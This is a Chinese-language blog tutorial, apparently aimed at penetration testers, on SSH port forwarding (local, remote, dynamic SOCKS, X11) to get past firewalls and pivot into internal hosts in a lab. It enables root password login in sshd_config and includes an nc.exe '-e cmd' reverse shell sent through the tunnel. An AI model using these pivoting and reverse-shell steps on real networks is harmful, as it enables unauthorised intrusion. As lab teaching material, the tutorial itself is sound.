在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的ssh命令如下:
创建ssh隧道的常用参数如下:
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell。
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口。
 
1.本地端口转发
测试环境如下:
外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
 
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153(vps端口):192.168.190.136(目标主机):3389(目标端口) root@192.168.174.133(跳板机)
ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接
rdesktop 127.0.0.1:1153
ssh进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
 
加密传输:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
在win7上使用nc监听本地333端口
nc -lvp 333
在win ser2008上使用nc连接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。
 
2.远程端口转发
测试环境如下:
左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521(vps端口):192.168.190.136(目标主机):3389 root@192.168.190.110
ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
netstat -anptl | grep 1521 查看远程vps(192.168.190.110)发现已经开启对1521端口的监听
rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。
总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
 
3.动态转发
测试环境如下:
在vps上执行如下命令,建立一个动态的socks代理通道
ssh fCNg -D 7000 root@192.168.174.133
查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。
然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。
 
总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。
 
4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发
ssh -X root@192.168.199.165 -p 53
 
X协议转发测试
可以使用远程主机的图像化工具
 
 

ssh隧道使用的更多相关文章

  1. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  2. ssh隧道(端口转发)

    本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...

  3. 通过 SSH 隧道方式图形化连接 AIX 服务器

    跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...

  4. ssh隧道技术

    大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...

  5. 【转】三种不同类型的ssh隧道

    转自:http://blog.creke.net/722.html 大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的 ...

  6. SSH隧道技术----端口转发,socket代理

    原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...

  7. 公司内网Debian Server上的openvpnserver搭建并通过SSH隧道转发到广域网

    因为戴维营公司在长沙的学员,研发人员和北京的研发人员须要协同研发,故须要让北京的兄弟们增加到长沙办公室的内网,訪问版本号 管理server,于是採用在内网server上搭建一个OpenVPN服务,并把 ...

  8. ssh隧道

    最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...

  9. 配置SSH隧道访问Ubuntu服务器上的MongoDB

    为了数据安全,在MongoDB的配置文件里,一般会把默认的27017端口port改为自定义的端口号,然后把允许访问的IP设为127.0.0.1(即主机本身).但是这样就会在开发的过程查看数据时带来麻烦 ...

  10. 调试利器:SSH隧道

    欢迎大家前往腾讯云社区,获取更多腾讯海量技术实践干货哦~ 本文作者:ivweb 吴浩麟 原文出处:IVWEB社区 未经同意,禁止转载 在开发微信公众号或小程序的时候,由于微信平台规则的限制,部分接口需 ...

随机推荐

  1. 20191121-10 Scrum立会报告+燃尽图 06

    此作业要求参见:https://edu.cnblogs.com/campus/nenu/2019fall/homework/10070 一:组名: 组长组 组长:杨天宇 组员:魏新  罗杨美慧  王歆 ...

  2. Alpha阶段中间产物提交入口

    此作业要求参见:https://edu.cnblogs.com/campus/nenu/2019fall/homework/9865 git地址:https://e.coding.net/Eustia ...

  3. 【一起学源码-微服务】Ribbon源码五:Ribbon源码解读汇总篇~

    前言 想说的话 [一起学源码-微服务-Ribbon]专栏到这里就已经全部结束了,共更新四篇文章. Ribbon比较小巧,这里是直接 读的spring cloud 内嵌封装的版本,里面的各种config ...

  4. 手动滑稽之golang-vmware-driver广告篇

    本来在Windows 7 + Tiny Linux 4.19 + XFS + Vmware Workstation 15 (PRO) 下篇dockerの奥义之后的UEFI补完延迟了... 虽然用efi ...

  5. linux常用命令,最基础

    rmdir keda1/ 6 touch test.java 创建空文件 7 拷贝文件 cp 源文件 目标文件 cp test.java test1.java 8 删除文件rm -r 递归删除 -rf ...

  6. Python学习中的“按位取反”笔记总结

    | 疑惑 最近在学习Python的过程中了解到位运算符,但对于按位取反有点迷糊,就比如说~9(按位取反)之后的结果是-10,为什么不是6呢?所以下面就来看看为什么不是6,正确结果是如何计算出来的呢? ...

  7. 案例分析丨谷歌设计冲刺 4 天决定 Clips 的功能特性

    这次为大家带来Google冲刺日程案例,之前案例分析可以戳对应文字直达:ING集团.音乐流媒体Spotify.美国知名超市Target 作为一款工具类产品,谷歌十分注重产品候选人的技术背景,同时也看重 ...

  8. CF825G Tree Queries

    [题意] 一棵树有 n个节点,初始均为白色,有两种操作: 1. 1 x 代表把结点 x 设置为黑色 2. 2 x 代表查询 x 到树上任意一个黑色结点的简单路径上的编号最小的结点的编号 输入 t 和 ...

  9. 为什么双击打开py文件时窗口瞬间关闭了?

    当前理解,py文件里没有input() 等暂停程序运行的函数,程序运行速度太快,运行完就立马关闭了. input()调用后,程序会立即暂停,等待用户输入

  10. CSP-S rp++

    心无旁骛 认真思考 努力骗分(哈哈) I Love CSP! 反正像我这种大菜鸟也考不了多少 尽力打 本次考试期望 day1 100 70-100 30-? day2 100 ? ? 总:300-? ...